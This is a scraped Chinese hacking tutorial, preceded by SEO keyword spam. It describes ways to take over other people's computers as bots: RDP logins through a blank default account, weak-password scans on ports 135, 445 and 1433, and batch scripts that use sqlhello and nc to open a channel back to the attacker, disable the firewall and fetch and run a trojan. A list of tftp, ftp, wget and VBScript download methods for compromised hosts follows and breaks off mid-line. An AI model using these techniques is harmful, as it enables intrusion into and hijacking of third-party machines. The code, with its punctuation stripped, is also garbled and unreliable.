网站改版 价格,怎么制作公众号模板,公司网站建设youyi51,网络营销公司案例抓肉鸡的几种方法 找点工具就OK了端口抓肉鸡的几种方法 肉鸡大家都应该清楚是什么东西吧#xff01;呵呵 这点就不用说了.............慢慢学 1、3389抓鸡 现在国内网络上流传着一种克隆版的XP#xff0c;安装后会默认开启一个账号为new,密码为空的账户#xff0c;而且基本上… 抓肉鸡的几种方法 找点工具就OK了端口抓肉鸡的几种方法 肉鸡大家都应该清楚是什么东西吧呵呵 这点就不用说了.............慢慢学 1、3389抓鸡 现在国内网络上流传着一种克隆版的XP安装后会默认开启一个账号为new,密码为空的账户而且基本上都是开着3389的我们就可以利用这一点来抓肉鸡。首先用端口扫描工具扫一段IP的3389端口扫完后就直接用远程桌面连接开放3389的机器(也可以把结果保存为文本文件用批量生成3389连接的工具来连接)然后输入账号new登入如果别人的电脑前没人的话你就可以去你的空间下载你传好的木马安装拉~~ 这种方法只针XP系统如果遇到2000或者2003系统就不要试了 呵呵。缺点也很明显如果别人不是用new账号登入XP的你再登入上去就会把他挤出去(XP只支持单用户登入用户登入需要用工具开)或者电脑前有人你就不可能去打开IE下载木马了。 2、扫135端口抓肉鸡 首先先用端口扫描器扫一段IP的135端口然后把结果保存再用NTSCAN过滤有弱口令的机器最后用recton开telnet传马。因为现在135和445端口都被防火墙屏蔽了只能扫本地的135肉鸡要抓外地的只能用外地的135肉鸡来扫。(详细动画 可以去黑客网站搜索135) 3、扫445端口抓肉鸡 和扫135抓肉鸡差不多首先先用端口扫描器扫一段IP的445端口然后把结果保存再用NTSCAN过滤有弱口令的机器最后用啊D工具包开共享传马。因为现在135和445端口都被防火墙屏蔽了只能扫本地的445肉鸡要抓外地的只能用外地的445肉鸡来扫。(详细动画可以去黑客网站搜索445) 4、1433端口批量溢出抓肉鸡 这个方法可以实现全自动抓鸡不过现在太多人搞成功率已经不高了。要用到的工具S扫sqlhello.exenc.exe批处理文件首先先写个批处理打开记事本把以下代码复制修改后储存为扫描溢出.bat文件 echooff for/feol;tokens1,2delims%%iin(tt.txt)dos.exetcp%%i%%j 14331000/save echooff for/feol;tokens1delims%%iin(Result.txt)dosqlhello%%i 1433xxx.xxx.xx.xx556 还要新建一个tt.txt里面你要扫的IP段格式为 XXX.XXX.XXX.XXXXXX.XXX.XXX.XXX,中间是空格 1433是要扫描的端口1000是扫描线程数dosqlhello%%i 1433xxx.xxx.xx.xx556这个里的XXX添你的IP556是后面NC监 听的端口然后再写个批处理 echooff Nc-l-vv-p556daima.txt echousernamedaima.txt echopassworddaima.txt echobindaima.txt(以2进制传输数据) echogetxxx.exe(你的木马的文件名,要放在根目录下)daima.txt echobyedaima.txt netstopsharedaccess(关闭WINDOWS自带防火墙) ftp-s:daima.txt xxx.exe(也是填你木马的文件名) deldaima.txt 注意上面的代码回车符别删掉要不然就没法下你的马了。 几种肉鸡上传文件的方法 tftp法 先在自己某机器上建个tftp服务器,如执行tftpd32.exe 再将文件(sample.exe)上传到别的机器中(肉鸡) 肉鸡cmd中执行tftp-i服务器ipgetsample.exe ftp法 肉鸡cmd中执行 echoopenftp服务器ip[端口]ftp.txt echousernameftp.txt echopasswordftp.txt echogetsample.exeftp.txt echobyeftp.txt ftp-s:ftp.txt delftp.txt 工具法 利用wineggdrop的wget.exe 肉鸡cmd中执行wget网站/sample.exe 利用dl.vbe法 肉鸡cmd中执行 echowithwscript:if.arguments.count^2then.quit:endif dl.vbe echosetaso.createobject(adodb.stream):set webcreateobject(microsoft.xmlhttp)dl.vbe echoweb.openget
